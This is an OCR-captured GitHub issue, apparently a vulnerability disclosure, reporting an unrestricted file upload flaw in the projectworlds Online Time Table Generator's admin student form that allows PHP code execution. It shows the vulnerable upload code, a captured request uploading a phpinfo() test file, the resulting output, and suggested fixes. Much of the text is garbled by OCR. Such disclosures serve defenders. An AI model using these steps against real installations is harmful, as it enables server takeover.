H ydnd/ cve [ Pubiic

<> Code (©) Issues 11 §9 Pullrequests (» Actions [{J Projects @ Security |~ Insights

©

projectworlds Online Time Table Generator Portal-Source code
/admin/add_student.php Unrestricted Upload to Getshell #11

A ydnd opened 3 weeks ago

«F

projectworlds Online Time Table Generator Portal-Source code
/admin/add_student.php Unrestricted Upload to Getshell

NAME OF AFFECTED PRODUCT(S)

¢ projectworlds Online Time Table Generator Portal-Source code

Vendor Homepage

* https://projectworlds.in/online-time-table-generator-php-mysqgl/

AFFECTED AND/OR FIXED VERSION(S)

e Affected Version: Current release (as of 2025-03-14)
* Fixed Version: Not patched as of vulnerability disclosure

Submitter

e JEeee

Vulnerable File

* /admin/add_student.php

Software Link

* https://projectworlds.in/wp-content/uploads/2023/04/timetable.zip

PROBLEM TYPE
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* CWE-434: Unrestricted Upload of File with Dangerous Type

Vulnerability Type

* Remote Code Execution via Unrestricted File Upload

Root Cause

* The file upload functionality in "/admin/add_student.php" lacks proper validation of user-supplied
files. Attackers can upload malicious scripts (php) due to missing file type checks and extension
filtering. The server executes these files in the web-accessible upload directory, leading to full system
compromise.

Impact

e Malware Distribution

e Remote Code Execution (RCE)
* Data Breach

e Denial of Service (DoS)

* Web Shell Installation

* Bypassing Security Controls

* Reputation Damage

DESCRIPTION

* The portal's file upload module fails to validate file types and extensions. By crafting a malicious file
(e.g., "shell.php") and submitting it via the upload form, attackers can bypass security controls. Add a
new student information with an email address of jack@gmail.com and submit the 1.php file with the
following contents: . The server stores the file in "student/image/jack@gmail.com" without
sanitization, allowing remote code execution via HTTP requests to the uploaded file.

* parameter '$eid’ -> email

mkdir("../student/image/$eid"); 3
move_uploaded_file($_FILES['pic']['tmp_name'],"../student/image/$eid/".$_FILES['pic',
["name']);

Vulnerability Details and POC

Vulnerable Parameter:

¢ File upload field: "$_FILES['pic'l['name']" (POST request)

The following are the steps I reproduced.
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< X

Add Student

Select Department
Select Semester
Student Name
Enter Your Email
Enter Your Password
Enter Your Mobile
Enter Your Address
Enter Your D.O.B
Upload Your Pic

Enter Your Gender
Status

No protection, any file can upload

Ek

Raw Hex

S0 Jackigmarl.com

2286559773801352140546735801
form-data; neme="p"

Content-Disposition:

aclk
4228E555773801352 140546735801
form-data; nams="mobile"

ontent-Disposition:

123456
422BE559773801352140546735801
form-data; name="address"

Content-Disposition:

88

22BE559773801352140546735801

ontent-Disposition: form-data; name="dob"

025-03-14

2286559 0l35204054F 0l
ontent-Disposition: form-dataf name="pic"; filename="L.php" |
ontent-Type: application/octe -

<ophp phpinfo () 2>
42286556773801352140546735801

ontent-Disposition: form-data; name="gen"

42286559773801352 140546735801
Content-Disposition: form-data; name="save'"

O O o+ 127.0.0.1

| B.tech v |

| Select Semester v |

jack

| jack@gmail.com

1123456 +

88

12025 /03 /14 (1) |

... | 1.php
male O female ®
| Select Status v |

| Add Student | | Reset |

Lol
=i

0 <script>

=
(= U

Raw Hex nEER Markinfo

HTTP/1.1 200 OK
Date:
Server: Apache/2.4.3
X-Powered-By: PHP/5.5.9
Connection: close
Content-Type: text/html
7 Content-Length: 4367

14 Maj 25 07:00:27 GNT

ing4) OpenSSL/1.1l.1b mod fcgid/2.3.8a mod log _rotats/l1.02

Fri,

function showSemester (str)

12

if (str=="")

{
}
20 {

22 ¥

23 else

{

26 b

Access path, phpinfo() executed successfully.

a O @& nphpinfod

& G @ 127.00.1

document.getElementByld ("txtHint” | . innerHTHL="";
return;

if (window.XMLHTtpRequest)

// cods for IET+, Firsfox, Chrome, Opera, Safari

xmlhttp=new XMLHttpRequest ();

// cods for IEE, IES
xmlhttp=new ActiveXChject ("Microsoft.XMLETTP");

PHP Version 5.5.9

Php

System

Windows NT DESKTOP-K196DPF 6.2 build 9200 (Windows 8 Business Edition) AMD64

Build Date

Feb 5 2014 10:59:06

Compiler

MSVC11 (Visual C++ 2012)

Architecture x64
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Assignees

O O 127.00.1:

PHP Version 5.5.9

System Windows NT !JSMESS Edition) AMDE4

Build Date Feb 52014 10:59:06

Compiler MSVC11 (Visual C++ 2012)
Architecture x64

Configure
Command

Server API CGlFastCGl

Virtual Directory |disabled
Support

Configuration
File (php.ini)
Path

Loaded
Configuration
File

Scan this dir for |(none)
additional .ini

Suggested repair

Input Validation & Filtering: Ensure parameter allows only expected characters (e.g., digits or
letters) to prevent path traversal attacks.

Filename Sanitization: Strictly validate uploaded filenames. Avoid using user-provided original
names and restrict allowed file extensions.

Randomized Storage Names: Generate randomized filenames to prevent attackers from directly
accessing malicious files.

File Type Verification: Validate both file extensions and MIME types to detect spoofed formats.

Storage Directory Permissions: Store uploaded files in a non-web-accessible directory or configure
the server to disable script execution.

Server Configuration: For Apache/Nginx, restrict execution permissions in upload directories (e.g.,
php_flag engine off ).

Error Handling: Avoid exposing internal path details by using custom error pages.

to join this conversation on GitHub. Already have an account? Sign in to comment

No one assigned
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No labels
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Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests
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